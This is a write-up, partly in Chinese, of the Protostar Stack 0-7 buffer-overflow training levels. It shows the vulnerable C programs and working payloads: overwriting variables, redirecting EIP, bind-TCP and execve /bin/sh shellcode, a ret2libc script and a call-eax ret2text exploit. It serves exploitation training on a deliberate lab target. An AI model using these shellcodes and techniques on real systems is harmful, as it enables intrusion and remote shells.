Protostar Stack 0-7 Write-up

Stack0

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)  
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

输入buffer超过64就可以覆盖掉modified值

python -c ‘print “A”*65’ | ./stack0

Stack 1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Modified变为固定值

./stack1  `python -c ‘print “A”*64+”\x64\x63\x62\x61″‘`

Stack 2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
    errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;
  strcpy(buffer, variable);
  if(modified == 0x0d0a0d0a) {
    printf("you have correctly modified the variable\n");
  } else {
    printf("Try again, you got 0x%08x\n", modified);
  }
}

getenv获取环境变量,需要先export设置GREENIE环境变量值

export GREENIE=`python -c “print ‘A’*64+’\x0a\x0d\x0a\x0d'”`

Stack 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

需要覆盖fp值使fp!=0,并且控制fp指针跳转到win函数

使用gdb调试获取win函数的起始地址作为fp跳转点

Stack 4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()  
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)  
{
  char buffer[64];

  gets(buffer);
}

在/opt/protostar/bin/目录下没有权限创建文件,所以回到根目录下,在/tmp/目录下创建测试payload

Gdb加载stack4,然后传入payload参数,查看断点

根据断点位置查看偏移为76

此payload可以在线生成

Buffer Overflow EIP Offset String Generator

查看win函数地址

构造payload

echo `python -c “print ‘A’*76+’\xf4\x83\x04\x08′”` | /opt/protostar/bin/stack4

Stack 5

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
{
  char buffer[64];
  gets(buffer);
}

与stack4相同,首先测试到偏移为76时为eip地址

需要自己写shellcode

https://www.exploit-db.com/shellcodes/14235

Bind_tcp:  nc localhost 31337  91bytes

"\xeb\x11\x5e\x31\xc9\xb1\x43\x80\x6c\x0e\xff\x35\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x95\x66\xf5\x66\x07\xe5\x40\x87\x9d\xa3\x64\xa8\x9d\x9d\x64\x64\x97\x9e\xbe\x18\x87\x9d\x62\x98\x98\x98\xbe\x16\x87\x20\x3c\x86\x88\xbe\x16\x02\xb5\x96\x1d\x29\x34\x34\x34\xa3\x98\x55\x62\xa1\xa5\x55\x68\x66\x68\x68\x6c\x55\x62\x9a\x55\x64\x97\x9e\xa3\x64\x64\xa8\x9d"

首先测试shellcode的起始地址为0xbffff7e0

构造payload = “A”*76+”\x90”*16+”shellcode” | stack5

开启另一个终端,nc localhost 31337端口监听成功

Stack6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()  
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret &amp; 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)  
{
  getpath();
}

首先计算EIP偏移位置,在80处

根据源码,返回地址受到限制,类似于数据执行保护机制,需要使用Ret2libc技术

使用 system(“/bin/sh”)获取一个shell

首先获取system地址

(gdb)info prop mapping

查找并计算 /bin/sh字符位置

gdb获取存在问题,使用strings在.so库中直接查找 /bin/sh 字符串位置

python构造shellcode

import struct
padding = ‘A’*80
system = struct.pack(“I”, 0xb7ecffb0)
ret = “BBBB”
bin_sh = struct.pack(“I”, 0xb7fb63bf)
print padding+system+ret+bin_sh

执行 (python s6.py; cat) | stack6

Stack 7

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret &amp; 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

返回地址受到限制,比stack6多了一行代码

return strdup(buffer);

需要将shellcode返回到text中,实现ret2text

根据源码,getpath()返回的内容在strdup(buffer)中,复制buffer中的内容并返回这个新字符串的地址。

而函数通常是使用eax作为返回值,所以可以先将shellcode放在buffer中,然后在函数返回时将返回地址ret覆盖为call eax,这样就可以执行shellcode。

不过shellcode长度需要限制在padding区域内(80 bytes)

参考如下shellcode(39 bytes),重开一个/bin/sh执行端:

https://www.exploit-db.com/exploits/13357

Step 1: EIP Ret Address(shellcode length)

Step 2: objdump -M intel -d stack7 | grep “call.*eax”

Step 3: shellcode 有39 bytes,加上字符串16 bytes,总共55 bytes

Step 4: 构造Payload = shellcode + ‘\x90’*25+’\xbf\x84\x04\x08’

echo `python -c 'print("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*25 + "\xbf\x84\x04\x08")'` | /opt/protostar/bin/stack7

您可能还喜欢...